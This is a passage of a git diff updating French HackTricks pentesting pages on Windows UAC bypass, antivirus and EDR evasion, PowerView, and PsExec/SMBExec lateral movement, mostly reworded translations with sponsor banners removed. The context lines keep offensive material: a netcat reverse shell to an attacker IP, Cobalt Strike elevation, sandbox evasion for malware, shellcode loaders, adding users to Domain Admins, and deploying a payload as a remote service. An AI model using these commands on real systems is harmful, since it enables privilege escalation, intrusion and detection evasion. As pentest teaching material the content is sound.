Sécurisé) - Si **`3`**, comme `1` mais pas nécessaire sur le Bureau Sécurisé - Si **`4`**, comme `2` mais pas nécessaire sur le Bureau Sécurisé -- si **`5`**(**par défaut**) il demandera à l'administrateur de confirmer l'exécution de binaires non Windows avec des privilèges élevés +- si **`5`**(**par défaut**) il demandera à l'administrateur de confirmer pour exécuter des binaires non Windows avec des privilèges élevés Ensuite, vous devez examiner la valeur de **`LocalAccountTokenFilterPolicy`**\ -Si la valeur est **`0`**, alors, seul l'utilisateur **RID 500** (**Administrateur intégré**) est capable d'effectuer des **tâches administratives sans UAC**, et si c'est `1`, **tous les comptes dans le groupe "Administrateurs"** peuvent le faire. +Si la valeur est **`0`**, alors, seul l'utilisateur **RID 500** (**Administrateur intégré**) est capable d'effectuer des **tâches d'administration sans UAC**, et si c'est `1`, **tous les comptes dans le groupe "Administrateurs"** peuvent le faire. Et, enfin, examinez la valeur de la clé **`FilterAdministratorToken`**\ Si **`0`**(par défaut), le **compte Administrateur intégré peut** effectuer des tâches d'administration à distance et si **`1`**, le compte Administrateur intégré **ne peut pas** effectuer des tâches d'administration à distance, à moins que `LocalAccountTokenFilterPolicy` soit défini sur `1`. @@ -100,7 +93,7 @@ Il est important de mentionner qu'il est **beaucoup plus difficile de contourner ### UAC désactivé -Si l'UAC est déjà désactivé (`ConsentPromptBehaviorAdmin` est **`0`**), vous pouvez **exécuter un shell inversé avec des privilèges administratifs** (niveau d'intégrité élevé) en utilisant quelque chose comme : +Si l'UAC est déjà désactivé (`ConsentPromptBehaviorAdmin` est **`0`**), vous pouvez **exécuter un shell inversé avec des privilèges d'administrateur** (niveau d'intégrité élevé) en utilisant quelque chose comme : ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" @@ -113,7 +106,7 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10 ### **Très** Basique "contournement" UAC (accès complet au système de fichiers) -Si vous avez un shell avec un utilisateur qui fait partie du groupe Administrateurs, vous pouvez **monter le C$** partagé via SMB (système de fichiers) localement sur un nouveau disque et vous aurez **accès à tout à l'intérieur du système de fichiers** (même le dossier personnel de l'Administrateur). +Si vous avez un shell avec un utilisateur qui fait partie du groupe Administrateurs, vous pouvez **monter le C$** partagé via SMB (système de fichiers) local dans un nouveau disque et vous aurez **accès à tout dans le système de fichiers** (même le dossier personnel de l'Administrateur). > [!WARNING] > **On dirait que ce truc ne fonctionne plus** @@ -126,7 +119,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` ### Contournement de l'UAC avec Cobalt Strike -Les techniques de Cobalt Strike ne fonctionneront que si l'UAC n'est pas réglé à son niveau de sécurité maximal. +Les techniques de Cobalt Strike ne fonctionneront que si l'UAC n'est pas réglé au niveau de sécurité maximal. ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -146,7 +139,7 @@ Documentation et outil dans [https://github.com/wh0amitz/KRBUACBypass](https://g ### Exploits de contournement UAC -[**UACME** ](https://github.com/hfiref0x/UACME) qui est une **compilation** de plusieurs exploits de contournement UAC. Notez que vous devrez **compiler UACME en utilisant visual studio ou msbuild**. La compilation créera plusieurs exécutables (comme `Source\Akagi\outout\x64\Debug\Akagi.exe`), vous devrez savoir **lequel vous avez besoin.**\ +[**UACME** ](https://github.com/hfiref0x/UACME)qui est une **compilation** de plusieurs exploits de contournement UAC. Notez que vous devrez **compiler UACME en utilisant visual studio ou msbuild**. La compilation créera plusieurs exécutables (comme `Source\Akagi\outout\x64\Debug\Akagi.exe`), vous devrez savoir **lequel vous avez besoin.**\ Vous devez **être prudent** car certains contournements **demanderont d'autres programmes** qui **alerteront** l'**utilisateur** que quelque chose se passe. UACME a la **version de construction à partir de laquelle chaque technique a commencé à fonctionner**. Vous pouvez rechercher une technique affectant vos versions : @@ -157,11 +150,11 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` -Aussi, en utilisant [cette](https://en.wikipedia.org/wiki/Windows_10_version_history) page, vous obtenez la version Windows `1607` à partir des versions de build. +Aussi, en utilisant [cette](https://en.wikipedia.org/wiki/Windows_10_version_history) page, vous obtenez la version de Windows `1607` à partir des versions de build. #### Plus de contournements UAC -**Toutes** les techniques utilisées ici pour contourner l'AUC **nécessitent** un **shell interactif complet** avec la victime (un shell nc.exe commun n'est pas suffisant). +**Toutes** les techniques utilisées ici pour contourner l'AUC **nécessitent** un **shell interactif complet** avec la victime (un shell nc.exe classique ne suffit pas). Vous pouvez obtenir cela en utilisant une session **meterpreter**. Migrez vers un **processus** qui a la valeur **Session** égale à **1** : @@ -171,7 +164,7 @@ Vous pouvez obtenir cela en utilisant une session **meterpreter**. Migrez vers u ### Contournement UAC avec GUI -Si vous avez accès à une **GUI, vous pouvez simplement accepter l'invite UAC** lorsque vous l'obtenez, vous n'avez vraiment pas besoin d'un contournement. Donc, obtenir accès à une GUI vous permettra de contourner l'UAC. +Si vous avez accès à une **GUI, vous pouvez simplement accepter l'invite UAC** lorsque vous l'obtenez, vous n'avez vraiment pas besoin de contournement. Donc, obtenir l'accès à une GUI vous permettra de contourner l'UAC. De plus, si vous obtenez une session GUI que quelqu'un utilisait (potentiellement via RDP), il y a **certains outils qui s'exécuteront en tant qu'administrateur** à partir desquels vous pourriez **exécuter** un **cmd** par exemple **en tant qu'admin** directement sans être à nouveau invité par l'UAC comme [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Cela pourrait être un peu plus **discret**. @@ -183,22 +176,15 @@ Si vous ne vous souciez pas d'être bruyant, vous pourriez toujours **exécuter Si vous jetez un œil à **UACME**, vous remarquerez que **la plupart des contournements UAC abusent d'une vulnérabilité de détournement de DLL** (principalement en écrivant la DLL malveillante sur _C:\Windows\System32_). [Lisez ceci pour apprendre comment trouver une vulnérabilité de détournement de DLL](../windows-local-privilege-escalation/dll-hijacking/). -1. Trouvez un binaire qui va **s'autoélever** (vérifiez que lorsqu'il est exécuté, il s'exécute à un niveau d'intégrité élevé). -2. Avec procmon, trouvez des événements "**NAME NOT FOUND**" qui peuvent être vulnérables au **détournement de DLL**. +1. Trouvez un binaire qui **s'auto-élève** (vérifiez que lorsqu'il est exécuté, il s'exécute à un niveau d'intégrité élevé). +2. Avec procmon, trouvez des événements "**NOM NON TROUVÉ**" qui peuvent être vulnérables au **détournement de DLL**. 3. Vous aurez probablement besoin de **écrire** la DLL à l'intérieur de certains **chemins protégés** (comme C:\Windows\System32) où vous n'avez pas de permissions d'écriture. Vous pouvez contourner cela en utilisant : 1. **wusa.exe** : Windows 7, 8 et 8.1. Cela permet d'extraire le contenu d'un fichier CAB à l'intérieur de chemins protégés (car cet outil est exécuté à partir d'un niveau d'intégrité élevé). 2. **IFileOperation** : Windows 10. -4. Préparez un **script** pour copier votre DLL à l'intérieur du chemin protégé et exécuter le binaire vulnérable et autoélevé. +4. Préparez un **script** pour copier votre DLL à l'intérieur du chemin protégé et exécuter le binaire vulnérable et auto-élévé. ### Une autre technique de contournement UAC -Consiste à surveiller si un **binaire autoélevé** essaie de **lire** dans le **registre** le **nom/chemin** d'un **binaire** ou **commande** à **exécuter** (c'est plus intéressant si le binaire recherche cette information à l'intérieur du **HKCU**). - -
- -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Obtenez un accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +Consiste à surveiller si un **binaire auto-élévé** essaie de **lire** dans le **registre** le **nom/chemin** d'un **binaire** ou **commande** à exécuter (c'est plus intéressant si le binaire recherche cette information à l'intérieur du **HKCU**). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index b5debe3d8..e970e6e8e 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -2,12 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -Si vous êtes intéressé par une **carrière en hacking** et que vous voulez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_). - -{% embed url="https://www.stmcyber.com/careers" %} - **Cette page a été écrite par** [**@m2rc_p**](https://twitter.com/m2rc_p)**!** ## **Méthodologie d'évasion AV** @@ -16,7 +10,7 @@ Actuellement, les AV utilisent différentes méthodes pour vérifier si un fichi ### **Détection statique** -La détection statique est réalisée en signalant des chaînes ou des tableaux d'octets malveillants connus dans un binaire ou un script, et en extrayant également des informations du fichier lui-même (par exemple, description du fichier, nom de l'entreprise, signatures numériques, icône, somme de contrôle, etc.). Cela signifie qu'utiliser des outils publics connus peut vous faire attraper plus facilement, car ils ont probablement été analysés et signalés comme malveillants. Il existe quelques moyens de contourner ce type de détection : +La détection statique est réalisée en signalant des chaînes ou des tableaux d'octets malveillants connus dans un binaire ou un script, et en extrayant également des informations du fichier lui-même (par exemple, description du fichier, nom de l'entreprise, signatures numériques, icône, somme de contrôle, etc.). Cela signifie que l'utilisation d'outils publics connus peut vous faire attraper plus facilement, car ils ont probablement été analysés et signalés comme malveillants. Il existe quelques moyens de contourner ce type de détection : - **Chiffrement** @@ -31,7 +25,7 @@ Parfois, tout ce que vous devez faire est de changer certaines chaînes dans vot Si vous développez vos propres outils, il n'y aura pas de signatures malveillantes connues, mais cela demande beaucoup de temps et d'efforts. > [!NOTE] -> Un bon moyen de vérifier contre la détection statique de Windows Defender est [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Il divise essentiellement le fichier en plusieurs segments et demande ensuite à Defender de scanner chacun individuellement, de cette façon, il peut vous dire exactement quelles sont les chaînes ou octets signalés dans votre binaire. +> Un bon moyen de vérifier la détection statique de Windows Defender est [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Il divise essentiellement le fichier en plusieurs segments et demande ensuite à Defender de scanner chacun individuellement, de cette manière, il peut vous dire exactement quelles sont les chaînes ou octets signalés dans votre binaire. Je vous recommande vivement de consulter cette [playlist YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sur l'évasion AV pratique. @@ -39,9 +33,9 @@ Je vous recommande vivement de consulter cette [playlist YouTube](https://www.yo L'analyse dynamique est lorsque l'AV exécute votre binaire dans un bac à sable et surveille les activités malveillantes (par exemple, essayer de déchiffrer et de lire les mots de passe de votre navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus délicate à gérer, mais voici quelques choses que vous pouvez faire pour échapper aux bacs à sable. -- **Dormir avant l'exécution** En fonction de la façon dont c'est implémenté, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV ont un temps très court pour scanner les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc utiliser de longs temps de sommeil peut perturber l'analyse des binaires. Le problème est que de nombreux bacs à sable d'AV peuvent simplement ignorer le sommeil en fonction de la façon dont c'est implémenté. +- **Dormir avant l'exécution** En fonction de la manière dont c'est implémenté, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV ont un temps très court pour scanner les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc utiliser de longs temps de sommeil peut perturber l'analyse des binaires. Le problème est que de nombreux bacs à sable d'AV peuvent simplement ignorer le sommeil en fonction de la manière dont c'est implémenté. - **Vérification des ressources de la machine** En général, les bacs à sable ont très peu de ressources à utiliser (par exemple, < 2 Go de RAM), sinon ils pourraient ralentir la machine de l'utilisateur. Vous pouvez également être très créatif ici, par exemple en vérifiant la température du CPU ou même les vitesses des ventilateurs, tout ne sera pas implémenté dans le bac à sable. -- **Vérifications spécifiques à la machine** Si vous souhaitez cibler un utilisateur dont le poste de travail est joint au domaine "contoso.local", vous pouvez effectuer une vérification sur le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié, sinon, vous pouvez faire quitter votre programme. +- **Vérifications spécifiques à la machine** Si vous souhaitez cibler un utilisateur dont le poste de travail est joint au domaine "contoso.local", vous pouvez effectuer une vérification sur le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié, si ce n'est pas le cas, vous pouvez faire quitter votre programme. Il s'avère que le nom de l'ordinateur du bac à sable de Microsoft Defender est HAL9TH, donc, vous pouvez vérifier le nom de l'ordinateur dans votre malware avant la détonation, si le nom correspond à HAL9TH, cela signifie que vous êtes dans le bac à sable de Defender, donc vous pouvez faire quitter votre programme. @@ -49,9 +43,9 @@ Il s'avère que le nom de l'ordinateur du bac à sable de Microsoft Defender est D'autres très bons conseils de [@mgeeky](https://twitter.com/mariuszbit) pour contrer les bacs à sable -

Red Team VX Discord canal #malware-dev

+

Red Team VX Discord #malware-dev channel

-Comme nous l'avons dit précédemment dans ce post, **les outils publics** finiront par **être détectés**, donc, vous devriez vous poser une question : +Comme nous l'avons dit précédemment dans ce post, **les outils publics** seront finalement **détectés**, donc, vous devriez vous poser une question : Par exemple, si vous voulez dumper LSASS, **avez-vous vraiment besoin d'utiliser mimikatz** ? Ou pourriez-vous utiliser un projet différent qui est moins connu et qui dumpe également LSASS. @@ -72,9 +66,9 @@ Maintenant, nous allons montrer quelques astuces que vous pouvez utiliser avec d ## Chargement latéral de DLL & Proxying -**Chargement latéral de DLL** tire parti de l'ordre de recherche de DLL utilisé par le chargeur en positionnant à la fois l'application victime et la ou les charges utiles malveillantes côte à côte. +**Le chargement latéral de DLL** tire parti de l'ordre de recherche de DLL utilisé par le chargeur en positionnant à la fois l'application victime et la ou les charges utiles malveillantes côte à côte. -Vous pouvez vérifier les programmes susceptibles au chargement latéral de DLL en utilisant [Siofra](https://github.com/Cybereason/siofra) et le script powershell suivant : +Vous pouvez vérifier les programmes susceptibles de chargement latéral de DLL en utilisant [Siofra](https://github.com/Cybereason/siofra) et le script PowerShell suivant : ```powershell Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { $binarytoCheck = "C:\Program Files\" + $_ @@ -104,7 +98,7 @@ La dernière commande nous donnera 2 fichiers : un modèle de code source DLL et ``` 5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL. ``` -Voici les résultats : +Ces résultats sont :
@@ -119,7 +113,7 @@ Notre shellcode (codé avec [SGN](https://github.com/EgeBalci/sgn)) et la DLL pr `Freeze est un kit d'outils de payload pour contourner les EDR en utilisant des processus suspendus, des appels système directs et des méthodes d'exécution alternatives` -Vous pouvez utiliser Freeze pour charger et exécuter votre shellcode de manière discrète. +Vous pouvez utiliser Freeze pour charger et exécuter votre shellcode de manière furtive. ``` Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go) 1. Generate some shellcode, in this case I used Havoc C2. @@ -129,11 +123,11 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
> [!NOTE] -> L'évasion est juste un jeu de chat et de souris, ce qui fonctionne aujourd'hui pourrait être détecté demain, donc ne comptez jamais sur un seul outil, si possible, essayez de chaîner plusieurs techniques d'évasion. +> L'évasion est juste un jeu de chat et de souris, ce qui fonctionne aujourd'hui pourrait être détecté demain, donc ne comptez jamais sur un seul outil, si possible, essayez de combiner plusieurs techniques d'évasion. ## AMSI (Interface de Scan Anti-Malware) -AMSI a été créé pour prévenir les "[malwares sans fichier](https://en.wikipedia.org/wiki/Fileless_malware)". Au départ, les AV n'étaient capables de scanner que **des fichiers sur disque**, donc si vous pouviez d'une manière ou d'une autre exécuter des charges utiles **directement en mémoire**, l'AV ne pouvait rien faire pour l'empêcher, car il n'avait pas assez de visibilité. +AMSI a été créé pour prévenir les "[malwares sans fichier](https://en.wikipedia.org/wiki/Fileless_malware)". Au départ, les AV n'étaient capables de scanner que les **fichiers sur disque**, donc si vous pouviez d'une manière ou d'une autre exécuter des charges utiles **directement en mémoire**, l'AV ne pouvait rien faire pour l'empêcher, car il n'avait pas assez de visibilité. La fonctionnalité AMSI est intégrée dans ces composants de Windows. @@ -224,9 +218,9 @@ Microsoft Defender SmartScreen est un mécanisme de sécurité destiné à prot SmartScreen fonctionne principalement avec une approche basée sur la réputation, ce qui signifie que les applications téléchargées de manière peu courante déclencheront SmartScreen, alertant ainsi et empêchant l'utilisateur final d'exécuter le fichier (bien que le fichier puisse toujours être exécuté en cliquant sur Plus d'infos -> Exécuter quand même). -**MoTW** (Mark of The Web) est un [NTFS Alternate Data Stream]() avec le nom de Zone.Identifier qui est automatiquement créé lors du téléchargement de fichiers depuis Internet, avec l'URL depuis laquelle il a été téléchargé. +**MoTW** (Mark of The Web) est un [flux de données alternatif NTFS]() avec le nom de Zone.Identifier qui est automatiquement créé lors du téléchargement de fichiers depuis Internet, avec l'URL depuis laquelle il a été téléchargé. -

Vérification de l'ADS Zone.Identifier pour un fichier téléchargé depuis Internet.

+

Vérification du flux de données Zone.Identifier pour un fichier téléchargé depuis Internet.

> [!NOTE] > Il est important de noter que les exécutables signés avec un certificat de signature **de confiance** **ne déclencheront pas SmartScreen**. @@ -267,7 +261,7 @@ Voici une démonstration pour contourner SmartScreen en emballant des charges ut Charger des binaires C# en mémoire est connu depuis un certain temps et c'est toujours un excellent moyen d'exécuter vos outils de post-exploitation sans se faire attraper par l'AV. -Puisque la charge utile sera chargée directement en mémoire sans toucher au disque, nous devrons seulement nous soucier de patcher AMSI pour l'ensemble du processus. +Puisque la charge utile sera chargée directement en mémoire sans toucher au disque, nous devrons seulement nous soucier de patcher l'AMSI pour l'ensemble du processus. La plupart des frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) offrent déjà la possibilité d'exécuter des assemblies C# directement en mémoire, mais il existe différentes manières de le faire : @@ -314,7 +308,7 @@ C'est aussi une autre excellente présentation de [@mariuszbit](https://twitter. ### **Vérifiez quelles parties Defender trouve comme malveillantes** -Vous pouvez utiliser [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) qui **supprimera des parties du binaire** jusqu'à ce qu'il **découvre quelle partie Defender** trouve comme malveillante et vous la sépare.\ +Vous pouvez utiliser [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) qui **supprimera des parties du binaire** jusqu'à ce qu'il **découvre quelle partie Defender** trouve comme malveillante et vous le sépare.\ Un autre outil faisant **la même chose est** [**avred**](https://github.com/dobin/avred) avec un service web ouvert offrant le service à [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) ### **Serveur Telnet** @@ -374,7 +368,7 @@ sel lport 4444 generate #payload is the default name #This will generate a meterpreter xml and a rcc file for msfconsole ``` -Maintenant **démarrez le lister** avec `msfconsole -r file.rc` et **exécutez** le **payload xml** avec : +Maintenant, **démarrez le lister** avec `msfconsole -r file.rc` et **exécutez** le **payload xml** avec : ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml ``` @@ -496,7 +490,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html) - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/) -### Utiliser python pour un exemple de construction d'injecteurs : +### Utiliser python pour construire des injecteurs exemple : - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo) @@ -529,10 +523,5 @@ https://github.com/praetorian-code/vulcan - [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion) -
- -Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/basic-cmd-for-pentesters.md b/src/windows-hardening/basic-cmd-for-pentesters.md index da99ce853..9ee55a3ad 100644 --- a/src/windows-hardening/basic-cmd-for-pentesters.md +++ b/src/windows-hardening/basic-cmd-for-pentesters.md @@ -1,14 +1,7 @@ -# Informations de base sur CMD Win pour les pentesters +# Commandes de base Win CMD pour les pentesters {{#include ../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Informations système @@ -404,12 +397,4 @@ wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfil # Execute a script stored in an ADS using PowerShell powershell -ep bypass - < c:\temp:ttt ``` -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, identifier les problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md index 4e933f9c5..c09d0781b 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md @@ -2,10 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - La version la plus à jour de PowerView sera toujours dans la branche dev de PowerSploit : [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) [**SharpView**](https://github.com/tevora-threat/SharpView) est un port .NET de [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) @@ -140,7 +136,7 @@ Get-NetRDPSession -ComputerName #List RDP sessions inside a host (n ``` ### Objet de stratégie de groupe - GPOs -Si un attaquant a **des privilèges élevés sur un GPO**, il pourrait être capable de **privesc** en abusant de cela en **ajoutant des permissions à un utilisateur**, **ajoutant un utilisateur administrateur local** à un hôte ou **créant une tâche planifiée** (immédiate) pour effectuer une action.\ +Si un attaquant a **des privilèges élevés sur un GPO**, il pourrait être en mesure de **privesc** en l'abusant en **ajoutant des permissions à un utilisateur**, **ajoutant un utilisateur administrateur local** à un hôte ou **créant une tâche planifiée** (immédiate) pour effectuer une action.\ Pour [**plus d'infos à ce sujet et comment en abuser, suivez ce lien**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation). ```powershell #GPO @@ -225,7 +221,7 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between Get-DomainForeingUser #Get users with privileges in other domains inside the forest Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest ``` -### L**ow**-**hanging fruit** +### Fruits à portée de main ```powershell #Check if any user passwords are set $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl @@ -306,8 +302,4 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo # Add user to 'Domain Admins' Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local ``` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md index d68204cf4..f73193cfc 100644 --- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md +++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md @@ -2,8 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} - ## Comment ça fonctionne Le processus est décrit dans les étapes ci-dessous, illustrant comment les binaires de service sont manipulés pour réaliser une exécution à distance sur une machine cible via SMB : @@ -11,11 +9,11 @@ Le processus est décrit dans les étapes ci-dessous, illustrant comment les bin 1. **La copie d'un binaire de service sur le partage ADMIN$ via SMB** est effectuée. 2. **La création d'un service sur la machine distante** est réalisée en pointant vers le binaire. 3. Le service est **démarré à distance**. -4. À la sortie, le service est **arrêté, et le binaire est supprimé**. +4. À la sortie, le service est **arrêté et le binaire est supprimé**. ### **Processus d'exécution manuelle de PsExec** -En supposant qu'il y ait un payload exécutable (créé avec msfvenom et obfusqué à l'aide de Veil pour échapper à la détection antivirus), nommé 'met8888.exe', représentant un payload meterpreter reverse_http, les étapes suivantes sont suivies : +En supposant qu'il y ait un payload exécutable (créé avec msfvenom et obfusqué avec Veil pour échapper à la détection antivirus), nommé 'met8888.exe', représentant un payload meterpreter reverse_http, les étapes suivantes sont suivies : - **Copie du binaire** : L'exécutable est copié sur le partage ADMIN$ depuis une invite de commande, bien qu'il puisse être placé n'importe où sur le système de fichiers pour rester dissimulé. - **Création d'un service** : En utilisant la commande Windows `sc`, qui permet de requêter, créer et supprimer des services Windows à distance, un service nommé "meterpreter" est créé pour pointer vers le binaire téléchargé. @@ -32,9 +30,7 @@ Trouvez des étapes plus détaillées dans : [https://blog.ropnop.com/using-cred ![](<../../images/image (928).png>) Vous pouvez également utiliser [**SharpLateral**](https://github.com/mertdas/SharpLateral) : -``` +```bash SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName ``` -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/smbexec.md b/src/windows-hardening/lateral-movement/smbexec.md index b2b4a1518..114b3334d 100644 --- a/src/windows-hardening/lateral-movement/smbexec.md +++ b/src/windows-hardening/lateral-movement/smbexec.md @@ -2,19 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos plus de 20 outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Comment ça fonctionne **Smbexec** est un outil utilisé pour l'exécution de commandes à distance sur des systèmes Windows, similaire à **Psexec**, mais il évite de placer des fichiers malveillants sur le système cible. -### Points clés sur **SMBExec** +### Points clés concernant **SMBExec** - Il fonctionne en créant un service temporaire (par exemple, "BTOBTO") sur la machine cible pour exécuter des commandes via cmd.exe (%COMSPEC%), sans déposer de binaires. - Malgré son approche furtive, il génère des journaux d'événements pour chaque commande exécutée, offrant une forme de "shell" non interactif. @@ -41,12 +34,5 @@ Pour plus de détails, consultez [https://blog.ropnop.com/using-credentials-to-o - [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/psexec-and-winexec.md b/src/windows-hardening/ntlm/psexec-and-winexec.md index 5a243d16e..071f526a3 100644 --- a/src/windows-hardening/ntlm/psexec-and-winexec.md +++ b/src/windows-hardening/ntlm/psexec-and-winexec.md @@ -2,25 +2,18 @@ {{#include ../../banners/hacktricks-training.md}} -
+## Comment ça fonctionne -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) pour construire et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez l'accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} - -## Comment ils fonctionnent - -Le processus est décrit dans les étapes ci-dessous, illustrant comment les binaires de service sont manipulés pour obtenir une exécution à distance sur une machine cible via SMB : +Le processus est décrit dans les étapes ci-dessous, illustrant comment les binaires de service sont manipulés pour réaliser une exécution à distance sur une machine cible via SMB : 1. **La copie d'un binaire de service sur le partage ADMIN$ via SMB** est effectuée. 2. **La création d'un service sur la machine distante** est réalisée en pointant vers le binaire. 3. Le service est **démarré à distance**. -4. À la sortie, le service est **arrêté et le binaire est supprimé**. +4. À la sortie, le service est 